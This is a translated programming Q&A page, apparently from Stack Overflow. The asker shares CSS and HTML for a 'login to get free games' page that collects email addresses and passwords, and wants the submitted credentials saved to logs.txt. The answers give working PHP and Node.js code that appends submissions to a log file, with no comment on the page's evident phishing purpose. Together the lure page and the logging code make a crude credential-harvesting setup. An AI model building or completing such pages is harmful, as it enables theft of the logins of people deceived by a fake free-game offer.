form {position: absolute; left: 45%; top: 35%;}
#email {position: relative;left: 30%;bottom: 90%;text-shadow:1px 1px #D8E3EC;color: #097BDA;}
#password {position: relative;left: 25%;bottom: 100%;text-shadow:1px 1px #D8E3EC;color: #097BDA;}
#submit {position: absolute;bottom: -30%;left: -30%;text-shadow:1px 1px #D8E3EC;padding: 0.5% 25%;border-radius: 2px;background-color: #31A1FF;border-width: 4px;border-color: #0468BB;}
#submit:hover{background-color: #67BAFF;}
#eee {border-radius: 5px;}
#ppp {border-radius: 5px;}
#titlu {position: absolute;left: 31.5%;text-shadow:2px 2px #F9FBFC;font-family: fantasy;color: #097BDA;}
body {background-image: url(background.jpg);}
#tran {opacity: 0.9;position: absolute;left: 37%;top: 20%;;width: 30px 30px;}
<!DOCTYPE HTML>
<html>
<head>
<title>Website</title>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
<img id="tran" src="tran.jpg">
<h1 id="titlu">Welcome,please login to get free games right now!</h1>
<form class="formm" action="form.php" method="get">
<p id="email">Email</p>
<input id="eee" type="email" placeholder="Put your email here"><br />
<p id="password">Password</p>
<input id="ppp" type="password" placeholder="Put your password here"> <br />
<input id="submit" type="submit" value="GET YOUR FREE GAME NOW!">
</form>
</body>
</html>
所以我想添加类似的内容 - 当我输入我的电子邮件和密码并按下提交按钮时,将日志转换为另一个文件,例如logs.txt。
答案 0 :(得分:0)
在PHP中创建文件并在其中编写内容非常简单。如果您想在每次有人提交表单时写一个日志,您只需要调用此函数:
<?php
function write_log($string) {
$log_file = 'log.txt';
$string .= PHP_EOL;
if ($fh = @fopen($log_file, "a+")) {
fputs($fh, $string, strlen($string));
fclose($fh);
return true;
} else {
return false;
}
}
?>
当然它必须存在一个名为&#39; log.txt&#39;的文件。写入。如果它超出,您只需要调用此函数将日志内容设置为string
参数。这是一个例子:
<?
//Write "Hello World" into your log.txt file.
write_log("Hello World");
?>
PHP_EOL
做什么?
PHP_EOL是一个常量,只需找到在您正在使用的系统中断行的最佳方法。因此,您可以插入多个格式化为精美模式的行,而无需执行任何操作。
答案 1 :(得分:0)
Javascript无法写入log.txt文件,除非您使用scripting.FileSystemObject
这是一个ActiveX并且只运行IE。我建议使用console.log()
来实现它,或者调用web服务来编写另一端的日志。
更新:如果您具有灵活性,nodeJs
可以为您提供filesystem
var fs = require('fs');
fs.appendFile('log.txt', 'Log text data to append', function (err) {
if (err) throw err;
console.log('Log updated');
});